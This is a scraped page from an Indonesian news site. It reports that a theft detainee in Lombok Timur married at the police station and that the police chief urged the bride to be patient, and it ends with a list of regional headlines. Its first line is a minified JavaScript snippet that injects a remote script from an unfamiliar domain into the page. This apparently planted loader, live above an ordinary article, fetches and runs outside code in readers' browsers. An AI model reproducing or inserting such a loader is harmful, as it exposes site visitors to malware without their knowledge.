(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lifestyle

Menikah di Penjara, Mempelai Perempuan di Lombok Diminta Sabar Menunggu Suami


KANALKALIMANTAN.COM – Seorang tahanan bernama FA, warga Desa Rensing kecamatan Sakra Timur, Lombok Timur yang berstatus tahanan, menggelar akad nikah di Polres Lombok Timur. Ia mempersunting pujaan hatinya oleh penghulu desa bertempat di Mushalla Polres Lotim, Kamis (9/12/2021), sekitar pukul 11.30 WITA.

Seusai dinikahkan FA dan istrinya mendapat wejangan dari Kapolres Lombok Timur AKBP Herman Suriyono. Dalam nasihat perkawinan meminta kedua mempelai agar komitmen perkawinan yang telah dijalani ini, dipegang teguh kedua mempelai, meski proses penegakan hukum sedang dijalani.

Sang mempelai perempuan pun mendapat pesan agar bisa bersabar menunggu proses hukum yang tengah dijalani sang suami.

“Untuk mempelai perempuan, saya berpesan agar bersabar menunggu proses hukum yang dijalani oleh suaminya,” pesannya kembali.

 

 

Baca juga: Pendulangan Intan Tradisional Pumpung Jadi Pintu Gerbang Geopark Meratus

Kapolres juga mengingatkan agar komitmen berumah tangga untuk dunia dan akhirat, tetap dipegang teguh. Meski saat ini, belum bisa berkumpul, usai pernikahan.
“Saya doakan, semoga kedua mempelai menjadi keluarga yang Sakinah, mawaddah warrohmah,” katanya.

Herman juga mengingatkan pada mempelai laki-laki seusai menjalani hukumannya nanti, agar tidak melakukan pelanggaran hukum kembali dan bertanggungjawab kepada istri.

“Kasus yang sedang dijalani ini, hendaknya dijadikan pelajaran jangan mengulangi lagi perbuatan serupa,” pesannya.

Selain dihadiri keluarga kedua mempelai, juga disaksikan Kapolres Lotim, AKBP Herman Suriyono beserta istri serta PJU Polres.

Baca juga: Wali Kota Aditya Terima Penghargaan dari Menteri Agama, Bukti Ciptakan Banjarbaru Yang Agamis!

Proses pernikahan dengan gadis pujaan hatinya itu dilakukan oleh penghulu desa,
FA sendiri adalah tahanan dalam kasus pencurian. Dan sedang menjalani proses hukum atas kasus yang telah diperbuatnya.

Usai dinikahkan, pengantin laki kembali menghuni ruang tahanan Polres. Begitu juga istrinya usai dinikahkan kembali ke rumahnya bersama keluarganya.(Suara.com)

Editor: suara


Risa

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

10 menit ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

29 menit ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

53 menit ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

1 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

1 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

2 jam ago

This website uses cookies.